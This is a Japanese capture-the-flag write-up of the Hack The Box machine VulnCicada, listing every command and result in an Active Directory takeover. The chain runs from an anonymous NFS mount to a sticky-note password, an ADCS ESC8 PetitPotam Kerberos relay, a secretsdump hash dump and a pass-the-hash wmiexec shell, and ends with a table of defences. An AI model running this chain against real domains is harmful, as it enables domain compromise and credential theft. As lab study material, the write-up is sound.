Hack The BoxのWriteup(VulnCicada)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: VulnCicada — 全実行コマンド・実行結果レポート
Nmap スキャン
DC ポート群 (Kerberos/LDAP/SMB/NFS)
NFS匿名マウント
marketing.png 付箋PW
Kerberos SMB認証
Rosie.Powell:Cicada123
certipy find
ADCS ESC8 発見
悪性DNSレコード
bloodyAD (serialized empty struct)
PetitPotam強制認証
+ certipy relay → DC$証明書
secretsdump (DRSUAPI)
Administrator NTハッシュ
wmiexec → user.txt + root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 5000 -T4 10.129.234.48
nmap -Pn -p 53,80,88,111,135,139,389,445,464,593,636,2049,3268,3269,3389,5985,9389 -sV -sC 10.129.234.48
RESULT
PORT     STATE SERVICE VERSION
53/tcp   open  domain
80/tcp   open  http    Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec
111/tcp  open  rpcbind
389/tcp  open  ldap    Microsoft Windows Active Directory LDAP (Domain: cicada.vl)
445/tcp  open  microsoft-ds
2049/tcp open  nfs
3268/tcp open  globalcatLDAP
3389/tcp open  ms-wbt-server
5985/tcp open  wsman
9389/tcp open  adws
Service Info: Host: DC-JPQ225; OS: Windows
🚨
典型的な Windows ドメインコントローラのポート構成。ドメイン名 cicada.vl、 ホスト名 DC-JPQ225NFS (2049) が公開されている点が最初の攻撃面。

/etc/hosts 設定

BASH
netexec smb 10.129.234.48
echo "10.129.234.48  DC-JPQ225.cicada.vl cicada.vl DC-JPQ225" >> /etc/hosts
RESULT
SMB  10.129.234.48  445  DC-JPQ225  [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
⚠️
NTLM:False — このドメインは NTLM 認証が完全に無効化されている。 以降すべての操作を Kerberos (-k) で行う必要がある (/etc/krb5.confCICADA.VL レルムを設定)。
PHASE 2

NFS匿名マウント — 付箋パスワードの入手

NFS共有の確認とマウント

BASH
showmount -e 10.129.234.48
mkdir /mnt/vulncicada
# Windows の NFS サーバーは v4.2/v4.1 をサポートしないため vers=3 を明示する
mount -t nfs -o rw,vers=3 10.129.234.48:/profiles /mnt/vulncicada
RESULT
Export list for 10.129.234.48:
/profiles (everyone)

$ ls /mnt/vulncicada
Administrator    Debra.Wright  Jordan.Francis  Katie.Ward     Richard.Gibbons  Shirley.West
Daniel.Marshall  Jane.Carter   Joyce.Andrews   Rosie.Powell
⚠️
vers=3 を付けないと mount がまず NFSv4.2/v4.1 でネゴシエーションを試み、 Windows 側が対応していないため Protocol not supported でタイムアウトする。

アクセス可能なファイルの列挙

BASH
find /mnt/vulncicada -type f -ls
RESULT
-rwxrwxrwx  1 nobody nogroup 1490573  9月 14 2024 /mnt/vulncicada/Administrator/vacation.png
-rwx------  1 nobody nogroup 1832505  9月 14 2024 /mnt/vulncicada/Rosie.Powell/marketing.png
ℹ️
marketing.png はパーミッション 700 だが、root 権限でマウントしているため 読み取り可能。vacation.png と合わせて2枚の画像を回収する。

marketing.png — 付箋に書かれたパスワード

BASH
cp /mnt/vulncicada/Rosie.Powell/marketing.png .
画像には PC の前に座る人物が写っており、キーボード手前の黄色い付箋に 手書きで「Cicada123」と書かれている。手書き文字のため tesseract OCR は 安定して読み取れず(常に空文字か自身の診断メッセージを誤検出する)、目視確認が確実。

Kerberos SMB認証の確認

BASH
# /etc/krb5.conf に CICADA.VL レルムを設定した上で
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k
RESULT
SMB  DC-JPQ225.cicada.vl 445 DC-JPQ225  [+] cicada.vl\Rosie.Powell:Cicada123
PHASE 3

ADCS 列挙 — ESC8 の発見

SMB共有の列挙

BASH
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k --shares
RESULT
Share       Permissions  Remark
-----       -----------  ------
ADMIN$                   Remote Admin
C$                       Default share
CertEnroll  READ         Active Directory Certificate Services share
IPC$        READ         Remote IPC
NETLOGON    READ         Logon server share
profiles$   READ,WRITE
SYSVOL      READ         Logon server share
ℹ️
CertEnroll 共有の存在から ADCS (Active Directory Certificate Services) が 稼働していることが分かる。

certipy find による脆弱性スキャン

BASH
certipy-ad find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout
RESULT
Certificate Authorities
  0
    CA Name  : cicada-DC-JPQ225-CA
    DNS Name : DC-JPQ225.cicada.vl
    Web Enrollment
      HTTP
        Enabled : True
      HTTPS
        Enabled : False
    Permissions
      Enroll : CICADA.VL\Authenticated Users
    [!] Vulnerabilities
      ESC8  : Web Enrollment is enabled over HTTP.
🚨
ESC8 脆弱性確定。 CA の Web Enrollment (証明書申請用 HTTP エンドポイント /certsrv/certfnsh.asp) が有効で、Authenticated Users は証明書を申請できる。 NTLM/Kerberos リレー攻撃で任意アカウント(特にマシンアカウント)としての証明書取得が可能。
PHASE 4

ESC8 攻略 — PetitPotam 強制認証 + Kerberos relay

攻撃戦略

NOTE
NTLM が無効化されているため、通常の NTLM relay ではなく
"シリアライズされた空の CREDENTIAL_TARGET_INFORMATION 構造体" を悪用した
Kerberos relay 手法 (krbrelayx/Synacktiv の技法) を使う:

  1. 悪性 DNS レコードを追加する。レコード名は
     "<ホスト名><シリアライズされた空構造体>" で、値は自分の IP。
     DC が Kerberos で認証しようとする際、この特殊な構造体により
     結果的に自分の IP へ接続してくる。
  2. certipy relay で ADCS の Web Enrollment エンドポイントへの
     リレーを待ち受ける。
  3. PetitPotam で DC マシンアカウントに悪性レコードへ強制認証させる。
  4. DC が自分の IP:445 へ接続してくる → certipy relay が
     ADCS Web Enrollment へ中継し、DomainController テンプレートで
     証明書を発行させる。
  5. 発行された証明書で DC マシンアカウント (dc-jpq225$) の
     TGT と NT ハッシュを取得する。

悪性DNSレコードの追加

BASH
# レコード名 = "DC-JPQ225" + シリアライズされた空 CREDENTIAL_TARGET_INFORMATION
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl \
  add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.15.200
RESULT
[+] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added

certipy relay リスナーの起動

BASH
certipy-ad relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController \
  -subject "CN=DC-JPQ225" -timeout 60
RESULT
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Targeting http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445
🚨
重要な落とし穴: このドメインでは中継される識別情報が常に 空文字列になる。certipy-ad v5.0.4 が同梱する新しい cryptography ライブラリは CSR の CommonName が空だと X.509 属性長バリデーション(1〜64文字必須)に 引っかかり Attribute's length must be >= 1 and <= 64, but it was 0 で 必ず失敗する。-subject "CN=DC-JPQ225" を明示的に渡すことで このバリデーションをバイパスできる(実際の証明書の身元は中継された実認証セッションから CA 側で決まるため、CSR の Subject を任意の値に上書きしても安全)。

PetitPotam による強制認証

BASH
# 脆弱性の事前確認
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus

# 悪性DNSレコードをLISTENERに指定して強制認証をトリガー
netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus \
  -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
RESULT
COERCE_PLUS  DC-JPQ225.cicada.vl 445 DC-JPQ225  VULNERABLE, DFSCoerce
COERCE_PLUS  DC-JPQ225.cicada.vl 445 DC-JPQ225  VULNERABLE, PetitPotam
COERCE_PLUS  DC-JPQ225.cicada.vl 445 DC-JPQ225  VULNERABLE, PrinterBug
...
COERCE_PLUS  DC-JPQ225.cicada.vl 445 DC-JPQ225  Exploit Success, efsrpc\EfsRpcAddUsersToFile

証明書の受信

RESULT (certipy relay 側)
[*] (SMB): Received connection from 10.129.234.48, attacking target http://dc-jpq225.cicada.vl
[*] HTTP Request: GET .../certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET .../certfnsh.asp "HTTP/1.1 200 OK"
[*] Authenticating against http://dc-jpq225.cicada.vl as / SUCCEED
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] HTTP Request: POST .../certfnsh.asp "HTTP/1.1 200 OK"
[*] Certificate issued with request ID 90
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
[*] Certificate object SID is 'S-1-5-21-687703393-1447795882-66098247-1000'
[*] Wrote certificate and private key to 'dc-jpq225.pfx'
DC マシンアカウント (dc-jpq225$) 名義の証明書 (dc-jpq225.pfx) を取得した。

証明書で認証しTGT/NTハッシュを取得

BASH
certipy-ad auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48
RESULT
[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3
PHASE 5

Administrator 奪取 & フラグ取得

secretsdump で Administrator のハッシュをダンプ

BASH
KRB5CCNAME=dc-jpq225.ccache secretsdump.py -k -no-pass \
  "cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl" -just-dc-user administrator
RESULT
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a
DC マシンアカウントの TGT だけで、ドメイン内の任意ユーザー (Administrator含む) の ハッシュを DRSUAPI 経由でダンプできる(マシンアカウントは DC 上で複製権限を持つため)。

wmiexec で Administrator シェルを取得

BASH
wmiexec.py cicada.vl/administrator@dc-jpq225.cicada.vl -k -hashes :85a0da53871a9d56b6cd05deda3a5e87
RESULT
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
cicada\administrator
⚠️
echo cmd | wmiexec.py ... のようにパイプで1コマンドだけ渡す方式は不安定 (プロセスがハングしたり CCache file is not found を繰り返すことがある)。 コマンドを一旦ファイルに書き出し wmiexec.py ... < cmdfile と リダイレクトする方が確実に動作する。

フラグ取得

BASH
C:\>type C:\Users\Administrator\Desktop\user.txt
C:\>type C:\Users\Administrator\Desktop\root.txt
RESULT
de89399ff73a3d309b94cc2251ec6434
9504fd8df199c007950e0655b55a02f6
user.txt — Administrator
de89399ff73a3d309b94cc2251ec6434
root.txt — Administrator
9504fd8df199c007950e0655b55a02f6
ℹ️
ドメインコントローラ機であるため、user.txt/root.txt とも Administrator の デスクトップにあり、同一のシェルから一度に両方取得できる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Administrator
de89399ff73a3d309b94cc2251ec6434
root.txt — Administrator
9504fd8df199c007950e0655b55a02f6

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
NFS匿名アクセス /profiles 共有 (everyone) ユーザーホームディレクトリの画像漏洩 Medium marketing.png の付箋に書かれた平文パスワードを目視で取得
ADCS ESC8 cicada-DC-JPQ225-CA (Web Enrollment over HTTP) 任意アカウント(マシンアカウント含む)としての証明書取得 Critical PetitPotam強制認証 + Kerberos relay で DC マシンアカウント名義の証明書を取得
PetitPotam / MS-EFSRPC 強制認証 DC-JPQ225 (lsarpc/efsrpc) DCマシンアカウントを任意ホストへ認証させる High 悪性DNSレコード(シリアライズされた空構造体)を経由し、NTLM無効環境でもKerberos認証を自ホストへ誘導
DRSUAPI レプリケーション権限 ドメインコントローラ 全ドメインアカウントのハッシュダンプ High DCマシンアカウントのTGTでsecretsdump -just-dc-userを実行しAdministratorハッシュを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap フルポートスキャンDC構成(Kerberos/LDAP/SMB/NFS)、NTLM無効
2NFSvers=3明示マウント + 画像目視確認Rosie.Powell:Cicada123
3ADCS列挙certipy find -vulnerableESC8 (Web Enrollment over HTTP)
4relay攻撃bloodyAD + certipy relay + PetitPotamDC-JPQ225$ の証明書・TGT・NTハッシュ
5ハッシュダンプsecretsdump (DRSUAPI)Administrator NTハッシュ
6シェル取得wmiexec (pass-the-hash)user.txt + root.txt (両方一括取得)

学んだ教訓 & 防御策

問題点防御策
NFS共有が認証なしで公開され、ユーザーホームディレクトリの画像に平文パスワードが写っている NFSエクスポートは信頼済みホスト/ネットワークに限定する(exportfsのIP制限)。パスワードを付箋等に書いて撮影可能な場所に置かない運用を徹底する。
ADCS の Web Enrollment が暗号化されない HTTP で有効(ESC8) Web Enrollment を無効化するか、HTTPS必須+Extended Protection for Authentication (EPA) を有効化しリレー攻撃を防ぐ。
PetitPotam等の強制認証手法(EFSRPC/DFS/Printer Bug)がパッチされていない MS-EFSRPC/MS-RPRN等のRPCインターフェースへの匿名/低権限アクセスを制限し、関連するセキュリティ更新を適用する。
低権限ドメインユーザーがDNSレコードを追加できる(既定のAD設定) 認証済みユーザーによるDNSゾーンへの書き込み権限を必要最小限に制限する。
HackTheBox: VulnCicada | 完全攻略レポート